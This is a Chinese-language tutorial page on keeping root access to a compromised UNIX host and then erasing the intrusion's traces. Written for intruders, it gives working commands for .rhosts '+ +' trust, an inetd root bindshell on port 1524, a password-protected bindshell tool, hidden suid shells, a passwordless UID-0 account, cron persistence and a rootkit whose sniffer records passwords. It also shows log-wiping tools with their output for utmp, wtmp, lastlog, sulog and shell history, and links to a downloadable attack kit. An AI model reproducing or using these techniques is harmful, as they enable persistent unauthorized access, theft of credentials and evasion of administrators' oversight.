当前位置:Linux教程 - Linux - UNIX系统后门的安放和日志的擦除

UNIX系统后门的安放和日志的擦除

UNIX系统后门的安放和日志的擦除
教程所需软件:http://us2001.myetang.com/tools/huckit.zip
一.后门的安放

当我们通过某种手段控制一个主机时,为了使自己能再次光顾这台计算机,我们通常在这个机器上留下后门,以便我们再次访问.一个做得好的后门,即使在入侵被管理员发现后,仍然能让你再次访问到主机.

本文的意旨是让你学会如何在完全控制系统后保留自己的根用户权限,下面介绍一下我常用的制作后门的手法,不会也不可能覆盖到所有可能的方法,请原谅.

1.Rhosts + + 后门

  在连网的Unix机器中,象Rsh和Rlogin这样的服务是基于rhosts文件里的主机名使用简单的认证方法. 用户可以轻易的改变设置而不需口令就能进入. 入侵者只要向可以访问的某用户的rhosts文件中输入""+ +"", 就可以允许任何人从任何地方无须口令便能进入这个帐号. 特别当home目录通过NFS向外共享时, 入侵者更热中于此. 这些帐号也成了入侵者再次侵入的后门. 许多人更喜欢使用Rsh, 因为它通常缺少日志能力. 许多管理员经常检查 ""+ +"", 所以入侵者实际上多设置来自网上的另一个帐号的主机名和用户名,从而不易被发现.

例如:

# echo ''+ + '' > /usr/bin/.rhosts

# cat /usr/bin/.rhosts

+ +

# rlogin -l bin localhost

将不用输入密码直接用bin帐号rlogin登陆进你的机器.

2.Login后门

  在Unix里,login程序通常用来对telnet来的用户进行口令验证. 入侵者获取login.c的原代码并修改使它在比较输入口令与存储口令时先检查后门口令. 如果用户敲入后门口令,它将忽视管理员设置的口令让你长驱直入. 这将允许入侵者进入任何帐号,甚至是root.由于后门口令是在用户真实登录并被日志记录到utmp和wtmp前产生一个访问的, 所以入侵者可以登录获取shell却不会暴露该帐号. 管理员注意到这种后门后, 便用""strings""命令搜索login程序以寻找文本信息. 许多情况下后门口令会原形毕露. 入侵者就开始加密或者更好的隐藏口令, 使strings命令失效. 所以更多的管理员是用MD5校验和检测这种后门的.

一般的rootkit包里都有login后门程序.

3.服务进程后门

  inetd 进程负责监听各个TCP和UDP端口的连接请求,并根据连接请求启动相应的服务器进程。该配置文件 /etc/inetd.conf 很简单,基本形式如下:

(1) (2) (3) (4) (5) (6) (7)

shell stream tcp nowait root /usr/sbin/in.rshd in.rshd

login stream tcp nowait root /usr/sbin/in.rlogind in.rlogind

exec stream tcp nowait root /usr/sbin/in.rexecd in.rexecd

comsat dgram udp wait root /usr/sbin/in.comsat in.comsat

talk dgram udp wait root /usr/sbin/in.talkd in.talkd

1:第一栏是服务名称。服务名通过查询 /etc/services 文件(供 TCP 和 UDP 服务使用)或 portmap 守护进程(供 RPC 服务使用)映射成端口号。RPC(远程过程调用)服务由 name/num 的名字格式和第三栏中的 rpc 标志识别。

2:第二栏决定服务使用的套接口类型:stream、dgram 或 raw。一般说来,stream 用于 TCP 服务,dgram 用于 UDP, raw 的使用很少见。

3:第三栏标识服务使用的通信协议。允许的类型列在 protocols 文件中。协议几乎总是是 tcp 或 udp。RPC 服务在协议类型前冠以 rpc/。

4:如果所说明的服务一次可处理多个请求(而不是处理一个请求后就退出),那么第四栏应置成 wait,这样可以阻止 inetd 持续地派生该守护进程的新拷贝。此选项用于处理大量的小请求的服务。如果 wait 不合适,那么在本栏中填 nowait。

5:第五栏给出运行守护进程的用户名。

6:第六栏给出守护进程的全限定路径名。

7:守护进程的真实名字及其参数。 如果所要处理的工作微不足道(如不需要用户交互),inetd 守护进程便自己处理。此时第六、七栏只需填上 ''internal'' 即可。所以,要安装一个便利的后门,可以选择一个不常被使用的服务,用可以产生某种后门的守护进程代替原先的守护进程。例如,让其添加 UID 0 的帐号,或复制一个 suid shell。

当然我们有一个更简单的方法,

下面的操作bind root shell 1524端口.

# echo ''ingreslock stream tcp nowait root /bin/ksh ksh -i'' > /tmp/.x

# /usr/sbin/inetd -s /tmp/.x

# rm -f /tmp/.x

# telnet localhost 1524

Trying 127.0.0.1...

Connected to localhost. Escape character is ''^]''.

#

# id

ksh: id^M: not found

# id;

uid=1002(gao) gid=1(other) euid=0(root)

ksh: ^M: not found

# exit;

Connection closed by foreign host.

#

注意,这样bind的shell在telnet上去后,你要在你想执行的命令后面添加一个"" ; ""号.即你要执行id命令的输入应为: id;

当然你也可以把ingreslock换成其他服务.具体请查看/etc/services寻找对应的服务名和端口.

下面为部分/etc/services内容.

# cat /etc/services

#ident ""@(#)services 1.20 98/07/08 SMI"" /* SVr4.0 1.8 */

#

# Network services, Internet style

#

tcpmux 1/tcp

echo 7/tcp

echo 7/udp

discard 9/tcp sink null

discard 9/udp sink null

systat 11/tcp users

daytime 13/tcp

daytime 13/udp

netstat 15/tcp

chargen 19/tcp ttytst source

chargen 19/udp ttytst source

ftp-data 20/tcp

ftp 21/tcp

telnet 23/tcp

smtp 25/tcp

mail time 37/tcp timserver

time 37/udp timserver

name 42/udp nameserver

whois 43/tcp nicname # usually to sri-nic

domain 53/udp

domain 53/tcp

bootps 67/udp # BOOTP/DHCP server

bootpc 68/udp # BOOTP/DHCP client

...

...

4.port bind suid Shell 后门

  入侵者可能在任意端口bind suid Shell后门. 许多情况下,他们用口令进行保护以免管理员连接上后立即看到是shell访问. 管理员可以用netstat命令查看当前的连接状态, 那些端口在侦听, 目前连接的来龙去脉.

  我提供的压缩包door.zip里有一个ekobackdoor-v1.1.tar,为linux下的bindshell程序包.大家可以自己编译一下.

  方法为,

修改ekobdoor.c

查找

#define PASSWORD ""ekorulez""

把""ekorulez"" 改成你要的密码.

比如

#define PASSWORD ""cnhonker""

把ekobackdoor-v1.1.tar解压然后make

就可以了.

具体使用方法为:

# ./ekobdoor [opcion] [argumento]

下面为不用输入密码的

# ./ekobdoor -b 31337

c: telnet 200.45.0.115 31337

Trying 200.45.0.115...

Connected to 200.45.0.115.

Escape character is ''^]''.

#

下面为需要输入密码的.

# ./ekobdoor -s 31337

 

c: telnet 200.45.0.115 31337

Trying 200.45.0.115...

Connected to 200.45.0.115.

Escape character is ''^]''.

cnhonker --->输入密码.

#

这里的31337你可以改成你想要的端口.

当然它还有更多其他功能.具体你用 -h 查看

#./ekobdoor -h

5.suid shell

  在 /tmp 或者其他的目录下放置 suid shell。以后只要你运行这个程序,就会轻易得到根用户权限。

#cp /bin/ksh /tmp/.sh

#chown root:root /tmp/.sh

#chmod +s /tmp/.sh

当你运行/tmp/.sh时,

这里我们用ksh shell是因为ksh 可以suid.换成其他的shell也许可能不行,具体看各个主机的情况而定.一般我们使用ksh.我们使用的溢出程序用来获得root权限的,也一般是溢出后执行/bin/ksh.

$id

uid=1002(oracle) gid=1(other)

$/tmp/.sh

#

#id

uid=1002(oracle) gid=1(other) euid=0(root) egid=0(root)

我们又是root了.

当然,为了更加隐蔽,我们不能把suid shell 放在/tmp

因为它是很容易被发现的.

我们应该放在深层的目录里面.

比如: 

/usr/X11/include/X11/

或者

/usr/lib/

等等

通常我做的是:

# mkdir /usr/lib/lib/ mkdir /usr/lib/lib/...

# cp /bin/ksh /usr/lib/lib/.../lib

# chown root:sys /usr/lib/lib/.../lib

# chmod 4555 /usr/lib/lib/.../lib

# touch -r /bin/ksh /usr/lib/lib/.../lib

一个简单的suid shell安放好了.

不过,大家不要学我,我们要放在最隐蔽的地方.我新建目录的隐藏效果不是最好的.

我们必须利用现有的目录来安放,并且这个目录要有很多其它的文件做掩护.

大家不防试试/usr/man/下的目录.

很少管理员会检查这里的.

比如:

/usr/man/man1/

/usr/man/manl/

等.

比如:

# cp /bin/ksh /usr/man/man1/ja.1

:)当然具体要看你自己琢磨一下了.我敢说不难,最好多放置几个suid shell 在不同的目录.这样即使管理员发现了一个,也还有另外一个.:)

6.su 后门

  在流行的rootkit包里,一般都有su 后门程序,当你在目标机器上安装了以后,只要你有普通用户的访问权限,就可以用su的后门密码su成你想要的用户.:)

例如在装过su后门的机器上运行:

$id

uid=1002(oracle) gid=1(other)

$su root

passwd:cnhonker ->su后门密码.

#

#id

uid=0(root) gid=0(root)

成功su成root.而不管root的密码为什么密码.

另外还有一种是su 木马,用来骗取su 密码的.这里不在详述.

7.修改密码文件

  最简单的方法,就是在口令文件 passwd 中增加一个 UID 为 0 的帐号。

下面的操作增加一个不用密码的www用户,uid gid 都为0,还有最好先备份一下密码文件.

#cp /etc/passwd /tmp/passwd

#cp /etc/shadow /tmp/shadow

#echo ''www:x:0:0::/:/bin/sh'' >> /etc/passwd

#echo ''www::::::::'' >> /etc/shadow

# id uid=1002(gao) gid=1(other) euid=0(root) egid=0(root)

# su www

# id

uid=0(root) gid=0(root)

可以看到,su成www时将不用输入密码,同样,telnet 等也不用出示密码.

但这种方法很容易被发现,通常我们编辑密码文件修改里面没有使用的默认帐号.

8.Crontab 后门

根用户的 crontab 文件放在 /var/spool/crontab/root 中,其格式如下:

(1) (2) (3) (4) (5) (6)

0 0 * * 3 /usr/bin/updatedb

以上内容设置/usr/bin/updatedb程序于每星期三 0:0 运行。

其中:

1. 分钟 (0-60)

2. 小时 (0-23)

3. 日 (1-31)

4. 月 (1-12)

5. 星期 (1-7)

6. 所要运行的程序

我们只需在 /var/spool/crontab/root 中添加我们的后门程序即可。

比如运行一个产生一个高位port的bind root shell的程序.或者替换服务进程的程序.

9.rootkit后门包

这也是最常用有效实用的方法.

这里我提供一个我修改过的编译好的sun os sparc下的rootkit包,在HUCkit.zip里的sun.tar

使用方法为:

在取得sun os sparc 的root权限后

#tar -xf sun.tar

#cd sun

#./setup cnhonker

就可以了.

其中,

cnhonker为你要设的rootkit密码.

如果你只运行./setup

那么程序会随机为你生成一个密码.请记住它.它可是你的通行证哦.

还有我取消了login后门的安装,因为它很容易暴露自己.并且很容易出错.

还有,完全装好后,不要忘了去/dev/prom

用cat查看每一个文件哦.

:)

哪里是嗅探器存放结果的地方.包括 mail ftp telnet rlogin su 等等.

# cat /dev/prom/sn.l

为mail ftp telnet rlogin等的记录

# cat /dev/prom/sulog

为su的密码记录.没有必要花时间去破解shadow文件哦.:)

其它的rootkit包大家引擎搜索一下就可以找到很多.这里不再提供.

二.日志的清除

由于涉及的系统广泛的问题,不可能将所有unix类系统的日志说清楚,但它们大多是差不多的,下面我只用常见的sunos & redhat做介绍.其它的系统请查看相关资料.

unix系统日志文件通常是存放在""/var/log and /var/adm""目录下的。通常我们可以查看syslog.conf来看看日志配置的情况.如:cat /etc/syslog.conf

其中sunos的在/var/log 和 /var/adm下.还有/usr/adm为/var/adm的的链接.

redhat的在/var/log 和 /var/run下.

下面的是sun os5.7中的日志样本.

# ls /var/adm

acct    log      messages.1    passwd    sulog   vold.log

aculog   messages   messages.2    sa      utmp    wtmp

lastlog   messages.0  messages.3    spellhist   utmpx   wtmpx

 

# ls /var/log

authlog      syslog    syslog.1   syslog.3

sysidconfig.log  syslog.0   syslog.2   syslog.4

下面的是redhat6.2中的日志样本.

# ls /var/log

boot.log   dmesg       messages.2    secure     uucp

boot.log.1  htmlaccess.log  messages.3    secure.1    wtmp

boot.log.2  httpd       messages.4    secure.2    wtmp.1

boot.log.3  lastlog      netconf.log   secure.3    xferlog

boot.log.4  mailllog      netconf.log.1  secure.4    xferlog.1

cron     maillog      netconf.log.2  sendmail.st   xferlog.2

cron.1    maillog.1     netconf.log.3  spooler     xferlog.3

cron.2    maillog.2     netconf.log.4  spooler.1    xferlog.4

cron.3    maillog.3     news       spooler.2

cron.4    maillog.4     normal.log    spooler.3

daily.log   messages     realtime.log   spooler.4

daily.sh   messages.1     samba       transfer.log

# ls /var/run

atd.pid    gpm.pid    klogd.pid   random-seed    treemenu.cache

crond.pid   identd.pid   netreport   runlevel.dir   utmp

ftp.pids-all inetd.pid   news      syslogd.pid

一般我们要清除的日志有

lastlog

utmp(utmpx)

wtmp(wtmpx)

messages

syslog

sulog

此外,各种shell还会记录用户使用的命令历史,它使用用户主目录下的文件来记录这些命令历史,通常这个文件的名字为.sh_history(ksh),.history(csh),或.bash_history(bash)等。

 

一般把以上说的日志给擦一下,就可以了.:)

下面我来说说上面这些我们要清除的日志的相关资料和清除方法.更详细的资料和其他的日志请你查看相关资料.

首先我们说说这几种日志的功能.->它记录的是什么?

lastlog

lastlog记录每个用户的最近一次的登陆时间和每个用户的最初目的地.

当一个用户登陆到unix系统时,注册程序在lastlog文件中查找该用户的uid ,如果该程序找到了该用户的uid,unix就会显示最后一次登陆的时间和TTY(终端号)

下面是一个例子:

SunOS 5.7

login: gao

Password:

No directory! Logging in with home=/

Last login: Sun Feb 4 22:18:25 from 211.167.1.24

Sun Microsys tems Inc. SunOS 5.7 Generic October 1998 $

.然后注册程序用新的登陆时间和TTY信息更新lastlog文件,而且该程序带更新utmp wtmp.文件.

utmp

utmp 日志记录以前登陆到系统中的所有用户.这个文件随着用进入和离开系统而不断的变化.它还会为系统中的用户保持很长的历史记录,utmp日志通常存储在/etc/utmp,可以使用w 和who 命令查看utmp.但其他的一些命令也可以访问这个文件.:)比如finger users.现在的utmp一般都有一个utmpx文件做为日志记录的补充.别忘了擦这个pp哦.:)

wtmp

wtmp文件记录用户登陆和退出事件,它和utmp类似.但它随着登陆的次数的增加它会变得越来越大.有些系统的ftp访问也在这个文件里记录.同时它也记录正常的系统退出时间.可以使用last和ac命令访问它.

syslog & messages

通过查看/etc/syslog.conf我们可以知道syslog记录些什么.:)

很多各种各样的程序产生的日志都由它记录.

同时它还有一个syslogd进程为它服务.

在缺省时,它把大多的信息传给/var/adm/messages

sulog

sulog为切换用户命令su的使用记录日志.

他通常在/var/adm/sulog

如果你在机器上用过su命令,别忘了清除掉哦.:)

shell记录

.sh_history(ksh),.history(csh),或.bash_history(bash)等,是shell执行时的历史记录.记录用户执行的命令.它一般存在于用户的主目录.别忘了去根目录看看哦.我入侵机器时,也经常能发现别人的hacking记录哦.:)所以你一定要记得清除.

1.日志都是一些文本形式的文件.最笨的方法是用文本编辑器来编辑日志文件.删除相关的记录.来达到擦拭脚印和隐藏自己的效果.

比如用vi等

但这样做是很笨的.太麻烦,工作量太大.

如果有50台机器要你处理,那么,呵呵....看你忙到什么时候

:)

2.以前我刚开始学unix时.经常用rm -f 来删掉日志.比如rm -f /usr/adm/lastlog

呵呵 

这样做是很蠢的.

更容易被管理员发现有人入侵.但是,相对来说自己还是保护好了.:)

可以用在一些不太重要的机器上.

3.用 > 定向符清除.

比如:

#cat > /usr/log/lastlog

  ->这里输入你要的写的东西.最好伪装得像一些,也可以不输入哦.:)

^d ->这里的^d是按键 ctrl + d.

#

如果上战场没有带日志清除工具,我一般也用这个清除的.:)省事

要不找几个旧的日志覆盖它:)

==========================================================

4.当然最好的是用日志清除工具.

输入几个命令让程序帮你擦:)

a.常见的日志清除工具.

 一般的rootkit包里有的:z2.c 和wted.c

很容易找到.

网上的教程很多都是介绍这两个工具的使用的.

这里我就不再论述了.:)节省时间.

b.这里我提供一个我以前有段时间常用的日志清除脚本.

在HUCkit.zip里的 cleaner.sh

我们这样使用它

# chmod 755 cleaner.sh

# ./cleaner.sh

Log cleaner v0.5b By: Tragedy/Dor *

* Usage: cleaner.sh

# ./cleaner.sh username

其中,username 为你要清除日志的的用户帐号.

:)

比如:

#./cleaner.sh gao

Log cleaner v0.5b By: Tragedy/Dor OS

detection....

Detected SunOS

---<[ Log cleaning in process....

* Cleaning aculog ( 0 lines)...0 lines removed!

* Cleaning lastlog ( 19789 lines)...45 lines removed!

* Cleaning messages ( 12 lines)...1 lines removed!

* Cleaning messages.0 ( 12 lines)...0 lines removed!

* Cleaning messages.1 ( 28 lines)...0 lines removed!

* Cleaning messages.2 ( 38 lines)...0 lines removed!

* Cleaning messages.3 ( 17 lines)...0 lines removed!

* Cleaning spellhist ( 0 lines)...0 lines removed!

* Cleaning sulog ( 986 lines)...6 lines removed!

* Cleaning utmp ( 179 lines)...1 lines removed!

* Cleaning utmpx ( 387 lines)...1 lines removed!

* Cleaning vold.log ( 0 lines)...0 lines removed!

* Cleaning wtmp ( 299 lines)...0 lines removed!

* Cleaning wtmpx ( 565 lines)...0 lines removed!

* Cleaning authlog ( 0 lines)...0 lines removed!

* Cleaning syslog ( 53 lines)...0 lines removed!

* Cleaning syslog.0 ( 14 lines)...0 lines removed!

* Cleaning syslog.1 ( 64 lines)...0 lines removed!

* Cleaning syslog.2 ( 39 lines)...0 lines removed!

* Cleaning syslog.3 ( 5 lines)...0 lines removed!

* Cleaning syslog.4 ( 3 lines)...0 lines removed!

* Cleaning syslog.5 ( 210 lines)...0 lines removed!

#

这个用/bin/sh的脚本有一个问题,

就是必须你要有uid =0 的权限.即root.

euid = 0 会不能正常工作,报告权限不够.

解决方法是:

大家可以改里面的#!/usr/sh 为你设置好的suid shell.:)

这个脚本有一个好处,就是不用编译,并且可以在多个系统下面工作.如redhat sunos等等.

还可以用

cat > clog.sh

来方便的拷贝到主机.不用ftp 去取.:)

还有一个命令可以清除大部分的日志.

这也是我常用它的原因.

但它做的太干净了,把以前的记录也删除了.:(

有时候也会不太干净.比如lastlog.utmp可能有时会清除不了.

所以,现在我一般结合两个工具来清除日志.

好的一般放在后面介绍.:)

下面介绍一个我觉得比较好的另一个日志清除器.:)

在HUCkit.zip里的wipe-1.00.tgz.

他完全可以清除

lastlog

utmp

utmpx

wtmp

wtmpx

:)

下面我们来看看.(示范工作平台sunos 5.7)

# gzip -d wipe-1.00.tgz

# tar -xf wipe-1.00.tar

# cd wipe-1.00

# ls -al

总数32

drwxr-xr-x  2  root  root     512   2月 4 20:48   .

drwxrwxrwx  6  root  other    1024   2月 4 18:40   ..

-rw-r--r--  1  root  root     130   1997 1月 9   INSTALL

-rw-r--r--  1  root  staff    1389   1997 1月 9   Makefile

-rw-r--r--  1  root  root     498   1997 1月 9   README

-rw-r--r--  1  root  staff   10027   1997 1月 9   wipe.c

# make

Wipe v0.01 !

Usage: ''make '' where sys tem types are:

  linux freebsd sunos4 solaris2 ultrix

  aix irix digital bsdi netbsd hpux

#

我们可以看到它需要出示 系统的选项.这些选项是:

  linux freebsd sunos4 solaris2 ultrix

  aix irix digital bsdi netbsd hpux

我们要清除相关的系统日志就必须在相同的系统下编译.

比如我们要在redhat等linux下编译,就应为: make linux

在freebsd下编译就应为:make freebsd

在sunos 4下编译,就应为: make sunos4

在sunos 5以上的系统里编译,就应为:make solaris2

这里我们用make solaris2

sunos 5 以上就叫做solaris了.

# make solaris2

gcc -O3 -DHAVE_LASTLOG_H -DHAVE_UTMPX -o wipe wipe.c

# ls -al

总数94

drwxr-xr-x  2  root  root   512   2月 4 21:03   .

drwxrwxrwx  6  root  other  1024   2月 4 18:40   ..

-rw-r--r--  1  root  root   130   1997 1月 9   INSTALL

-rw-r--r--  1  root  staff  1389   1997 1月 9   Makefile

-rw-r--r--  1  root  root    498   1997 1月 9   README

-rwxr-xr-x  1  root  other  30920   2月 4 21:03  wipe

-rw-r--r--  1  root  staff  10027   1997 1月 9   wipe.c

#./wipe

USAGE: wipe [ uwla ] ...options...

UTMP editing: Erase all usernames : wipe u [username]

  Erase one username on tty: wipe u [username] [tty]

WTMP editing: Erase last entry for user : wipe w [username]

  Erase last entry on tty : wipe w [username] [tty] LASTLOG

editing: Blank lastlog for user : wipe l [username] Alter lastlog

  entry : wipe l [username] [tty] [time] [host]

  Where [time] is in the format [YYMMddhhmm]

ACCT editing: Erase acct entries on tty : wipe a [username] [tty]

大家可以看到编译好的wipe的使用方法.

其中 u 选项为 utmp utmpx 日志擦除..

w 选项为 wtmp wtmpx 日志擦除.

l 选项为 lastlog 日志擦除.

a 为/var/adm/pacct日志擦除.(一般不用这个.:)

其中[tty]为终端号.为在有多个相同帐号同时登陆时,清除日志的使用选项.当然是要你的终端号哦.:)

大家可以用 w 命令查终端号.

比如:

# w

下午 9:15 1 user, 平均负荷: 0.00, 0.00, 0.01

用户名   终端号   登入时间   闲置   JCPU   PCPU   执行命令

gao    pts/1   下午 7:40        3          w

下面的是我在sunos 5.7上的具体的使用情况.:)

# w

下午 9:15 1 user, 平均负荷: 0.00, 0.00, 0.01

用户名   终端号   登入时间   闲置   JCPU   PCPU   执行命令

gao    pts/1   下午 7:40        3          w

# ./wipe u gao

Patching /var/adm/utmp .... Done.

Patching /var/adm/utmpx .... Done.

# w

下午 9:15 1 user, 平均负荷: 0.00, 0.00, 0.01

用户名   终端号   登入时间   闲置   JCPU   PCPU   执行命令

# ./wipe w gao

Patching /var/adm/wtmp .... Done.

Patching /var/adm/wtmpx .... Done.

# ./wipe l gao

Patching /var/adm/lastlog .... Done.

好了.

lastlog utmp utmpx wtmp wtmpx 擦完了.

大家看到 wipe u gao 了吗?

为什么我打了个w命令呢?

呵呵

想想.

所以我们一般在登陆进系统后就运行 wipe u gao.来隐藏自己.:)

当然我们不要忘了shell 记录哦.

# ls -al /.*history

-rw------- 1 root other 456 2月 4 20:27 .sh_history

# rm -f .*history

# cd

# pwd

/home/gao

# ls -al /.*history

-rw------- 1 root other 456 2月 4 20:27 .sh_history

# rm -f .*history

ok, 一个脚本加一个程序.再加一个操作,能保证你基本安全了.:)

当然如果你对系统有进一步了解,就能发现.这样清除还是有问题的.:)